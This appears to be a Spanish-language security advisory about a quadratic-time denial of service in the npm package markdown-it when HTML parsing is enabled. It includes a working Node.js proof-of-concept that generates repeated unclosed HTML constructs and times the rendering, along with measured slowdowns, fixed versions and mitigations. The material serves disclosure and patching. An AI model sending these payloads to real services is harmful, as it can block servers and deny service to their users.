Baja

markdown-it: Denegación de servicio de tiempo cuadrático en el análisis de HTML en línea con HTML habilitado

  • Publicada: 20.10.2026
  • Actualizado: 20.10.2026 23:20

Resumen

Con html: true, markdown-it requiere un tiempo cuadrático para procesar construcciones HTML no terminadas repetidas dentro de un párrafo. Esto afecta a los comentarios HTML (<!--), instrucciones de procesamiento (<?), declaraciones (<!A) y secciones CDATA (<![CDATA[).

Una entrada controlada por un atacante de unos pocos cientos de kilobytes puede bloquear el bucle de eventos de Node.js durante segundos o decenas de segundos. La configuración predeterminada tiene HTML deshabilitado, pero el ajuste predefinido commonmark lo habilita.

El problema se notificó para el paquete publicado markdown-it@15.0.2 en Node.js 20 y se reprodujo en el código fuente actual con Node.js 24.16.0.

Detalles

src/rules_inline/text.ts trata < como un terminador, lo que provoca que el analizador en línea intente aplicar la regla HTML en aperturas sucesivas de construcciones HTML.

Con HTML habilitado, src/rules_inline/html_inline.ts aplica una expresión regular anclada a la entrada restante:

js
const match = state.src.slice(pos).match(HTML_TAG_RE)

Las alternativas de comentarios, instrucciones de procesamiento, declaraciones y CDATA en src/common/html_re.ts escanean la entrada restante en busca de sus respectivos terminadores: -->, ?>, > y ]]>.

Cuando el terminador está ausente, la coincidencia falla. El análisis finalmente llega al siguiente inicio de constructo y escanea de nuevo un sufijo superpuesto. Repetir esto a lo largo del párrafo genera un trabajo total cuadrático. Para estas entradas, el problema radica en el escaneo reiterado a través de intentos de coincidencia independientes.

La carga útil debe llegar al análisis en línea. Anteponer x la mantiene dentro de un párrafo. Comenzar una línea directamente con una de estas construcciones invoca el análisis de bloques HTML, que no presenta los mismos escaneos en línea reiterados para estas cargas útiles.

La prueba existente unclosed <!-- en test/markdown-it/pathological.test.mjs ya contiene un reproductor:

js
'</' + '<!--'.repeat(100000)

Sin embargo, se ejecuta con las opciones predeterminadas, donde HTML está desactivado.

Una corrección debería evitar búsquedas reiteradas de terminadores ausentes en las cuatro alternativas afectadas, por ejemplo almacenando en caché las búsquedas fallidas en el estado en línea. Corregir únicamente la alternativa de comentarios deja afectadas las otras tres. La cobertura de regresión debería probar las cuatro con html: true.

El informe original fue enviado por @JarLob. Da crédito al GitHub Security Lab Taskflow Agent como parte del GitHub Secure Open Source Fund.

Prueba de concepto

Instale el paquete afectado en un directorio vacío:

bash
npm install markdown-it@15.0.2

Guarde lo siguiente como poc.mjs y ejecute node poc.mjs:

js
import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'

const mdHtml = new MarkdownIt({ html: true })
const mdDefault = new MarkdownIt()
const sizes = [8000, 16000, 32000, 64000]

function measure(md, src) {
  const start = performance.now()
  md.render(src)
  return (performance.now() - start).toFixed(1)
}

const variants = {
  comment: '<!--',
  processing: '<?x',
  declaration: '<!A',
  cdata: '<![CDATA['
}

for (const [name, opener] of Object.entries(variants)) {
  console.log(`\n${name}`)
  for (const n of sizes) {
    const src = 'x ' + opener.repeat(n)
    console.log({
      n,
      bytes: Buffer.byteLength(src),
      ms: measure(mdHtml, src)
    })
  }
}

const n = sizes.at(-1)
const controls = {
  'HTML disabled': [mdDefault, 'x ' + '<!--'.repeat(n)],
  'Closed comments': [mdHtml, 'x ' + '<!---->'.repeat(n)],
  'HTML block': [mdHtml, '<!--'.repeat(n)],
  'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)]
}

for (const [name, [md, src]] of Object.entries(controls)) {
  console.log({ control: name, ms: measure(md, src) })
}

const repoPayload = '</' + '<!--'.repeat(100000)
console.log({
  payload: 'Existing pathological test',
  htmlFalseMs: measure(mdDefault, repoPayload),
  htmlTrueMs: measure(mdHtml, repoPayload)
})

Mediciones del informe original en markdown-it@15.0.2, Node.js 20:

Construcción 8,000 repeticiones 64,000 repeticiones
Comentario 170 ms 8,799 ms
Instrucción de procesamiento 26 ms 1,566 ms
Declaración 93 ms 5,628 ms
CDATA 119 ms 4,179 ms

Un aumento de ocho veces en las repeticiones produce aproximadamente entre 35 y 60 veces el tiempo de ejecución, lo que coincide con un crecimiento cuadrático dominante.

Para la carga útil de comentarios en 64,000 repeticiones:

  • HTML deshabilitado: 25 ms.
  • Comentarios cerrados: 29 ms.
  • Carga útil al inicio de un bloque HTML: 1 ms.
  • Texto plano: 1 ms.

La carga útil de prueba patológica existente con 100,000 aperturas de comentarios tardó 33 ms con HTML deshabilitado y 21,030 ms con HTML habilitado. Otra carga útil de comentarios con 128,000 repeticiones, de aproximadamente 500 KiB, tardó 32,847 ms.

Los tiempos exactos dependen del entorno de ejecución y del hardware.

Impacto

Se trata de un problema de disponibilidad que afecta a aplicaciones que procesan Markdown controlado por un atacante con html: true, incluidas aplicaciones que utilizan el ajuste preestablecido commonmark.

En Node.js, una llamada sincrónica a render() puede ocupar un núcleo de CPU y bloquear el bucle de eventos durante segundos o decenas de segundos, retrasando otras solicitudes procesadas por el mismo proceso. Envíos repetidos pueden provocar una denegación de servicio. Las aplicaciones de navegador pueden volverse igualmente no responsivas si renderizan en el hilo principal.

Sanitizar el HTML generado posteriormente no previene el problema, ya que el procesamiento costoso se produce durante el renderizado de Markdown.

La configuración predeterminada, con HTML deshabilitado, no se ve afectada por estas cargas útiles. Deshabilitar HTML o limitar el tamaño de entrada puede mitigar la exposición mientras se aplica una solución.

La versión afectada reportada es 15.0.2; el rango completo de versiones afectadas no ha sido determinado.

Qué hacer

Actualice a las versiones corregidas 14.3.3 o 15.0.3. Como mitigación alternativa, desactive el procesamiento de HTML o limite el tamaño de las entradas.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm markdown-it < 14.3.3, >= 15.0.0, < 15.0.3 14.3.3, 15.0.3

Referencias

Puntuación CVSS 3.7/10
Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Debilidad (CWE)
CWE-400, CWE-407
Plataforma
npm
Paquete
markdown-it
Publicada
20.10.2026
Actualizado
20.10.2026 23:20

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-vfgh-jcmw-g37q - CC BY 4.0

Historial de vulnerabilidades: markdown-it

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
8
Primera → última
01.2022 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 3
  • Media 4
  • Baja 1

Divulgaciones por año

  1. 2022: 2
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 6
  1. markdown-it: Denegación de servicio de tiempo cuadrático en el análisis de HTML en línea con HTML habilitado esta entrada
    Baja · 3.7 CVE-2026-111766 < 14.3.3, >= 15.0.0, < 15.0.3 14.3.3, 15.0.3
  2. Alta · 7.5 CVE-2026-111759 >= 15.0.0, < 15.0.2, < 14.3.2 15.0.2, 14.3.2
  3. Media · 5.3 CVE-2026-2327 >= 13.0.0, < 14.1.1 14.1.1
  4. Media · 5.3 CVE-2022-21670 < 12.3.2 12.3.2

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.